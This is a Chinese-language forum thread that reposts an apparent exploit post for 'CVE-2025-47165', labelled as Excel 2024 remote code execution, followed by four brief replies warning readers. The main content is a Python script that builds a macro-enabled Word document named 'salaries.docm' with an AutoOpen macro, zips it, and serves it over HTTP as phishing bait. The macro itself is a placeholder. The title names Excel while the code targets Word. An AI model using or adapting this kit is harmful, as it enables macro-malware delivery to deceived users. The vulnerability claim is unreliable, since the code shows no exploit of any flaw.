Microsoft Excel 2024 - 远程代码执行 (CVE-2025-47165)
攻击者可以通过电子邮件或流媒体服务器发送恶意 DOCM 文件,诱骗任何用户打开并执行其代码。#!/usr/bin/python
import os
import sys
import pythoncom
from win32com.client import Dispatch
import http.server
import socketserver
import socket
import threading
import zipfile
PORT = 8000
DOCM_FILENAME = "salaries.docm"
ZIP_FILENAME = "salaries.zip"
DIRECTORY = "."
def create_docm_with_macro(filename=DOCM_FILENAME):
pythoncom.CoInitialize()
word = Dispatch("Word.Application")
word.Visible = False
try:
doc = word.Documents.Add()
vb_project = doc.VBProject
vb_component = vb_project.VBComponents("ThisDocument")
macro_code = '''
Sub AutoOpen()
//YOUR EXPLOIT HERE
// All OF YPU PLEASE WATCH THE DEMO VIDEO
// Best Regards to packetstorm.news and OFFSEC
End Sub
'''
vb_component.CodeModule.AddFromString(macro_code)
doc.SaveAs(os.path.abspath(filename), FileFormat=13)
print(f"[+] Macro-enabled Word document created: {filename}")
except Exception as e:
print(f"[!] Error creating document: {e}")
finally:
doc.Close(False)
word.Quit()
pythoncom.CoUninitialize()
def zip_docm(docm_path, zip_path):
with zipfile.ZipFile(zip_path, 'w', compression=zipfile.ZIP_DEFLATED)
as zipf:
zipf.write(docm_path, arcname=os.path.basename(docm_path))
print(f"[+] Created ZIP archive: {zip_path}")
def get_local_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(("8.8.8.8", 80))
ip = s.getsockname()
except Exception:
ip = "127.0.0.1"
finally:
s.close()
return ip
class Handler(http.server.SimpleHTTPRequestHandler):
def __init__(self, *args, **kwargs):
super().__init__(*args, directory=DIRECTORY, **kwargs)
def run_server():
ip = get_local_ip()
print(f"[+] Starting HTTP server on http://{ip}:{PORT}")
print(f"[+] Place your macro docm and zip files in this directory to
serve them.")
print(f"[+] Access the ZIP file at: http://{ip}:{PORT}/{ZIP_FILENAME}")
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("[+] Server running, press Ctrl+C to stop")
httpd.serve_forever()
if __name__ == "__main__":
if os.name != "nt":
print("[!] This script only runs on Windows with MS Word
installed.")
sys.exit(1)
print("[*] Creating the macro-enabled document...")
create_docm_with_macro(DOCM_FILENAME)
print("[*] Creating ZIP archive of the document...")
zip_docm(DOCM_FILENAME, ZIP_FILENAME)
print("[*] Starting HTTP server in background thread...")
server_thread = threading.Thread(target=run_server, daemon=True)
server_thread.start()
try:
while True:
pass# Keep main thread alive
except KeyboardInterrupt:
print("\n[!] Server stopped by user.")
```
Re: Microsoft Excel 2024 - 远程代码执行 (CVE-2025-47165)
感谢分享这个漏洞信息。CVE-2025-47165 看起来攻击面不小,通过 DOCM 宏代码就能远程执行,而且附带的脚本还贴心地准备好了生成恶意文档和搭建 HTTP 服务的部分。不过还是要提醒大家,不要随意打开来路不明的 DOCM 或 ZIP 文件,更不要在未确认来源的情况下运行里面的宏。请问楼主是否知道这个漏洞影响的具体 Excel 版本范围?微软那边有没有发布官方补丁?Re: Microsoft Excel 2024 - 远程代码执行 (CVE-2025-47165)
感谢分享这个漏洞情报,确实值得警惕。我已经注意到这个 CVE-2025-47165 利用的是宏代码执行,攻击者通过 DOCM 文件诱导用户打开,危险性很高。楼主提供的 Python 脚本看起来很清晰,不过提醒一下大家:测试这个漏洞时一定要在隔离环境中进行,避免误操作。也建议普通用户对于来源不明的 Office 文档保持谨慎,尤其是提示启用宏的情况。Re: Microsoft Excel 2024 - 远程代码执行 (CVE-2025-47165)
这个漏洞影响范围不小,感谢分享具体细节和 PoC。不过我看到代码里用的其实是 Word.Application 和 .docm,标题写的却是 Excel 2024,可能是笔误吧?另外那个宏代码里注释写着 “YOUR EXPLOIT HERE”,实际利用时需要自己填充 payload。提醒下大家,收到来历不明的 .docm 或 .zip 文件最好别双击,尤其是公司内部也要小心邮件附件。Re: Microsoft Excel 2024 - 远程代码执行 (CVE-2025-47165)
这个漏洞通报挺关键的,CVE-2025-47165 看起来是通过恶意 DOCM 文件触发远程代码执行。攻击者会利用钓鱼邮件或流媒体服务器诱导用户打开,脚本生成带宏的文档并打包成 ZIP 分发。建议平时注意不要随意打开来源不明的 Office 文档,尤其是带宏的文件,同时及时关注微软官方补丁和杀毒软件的更新。
页:
[1]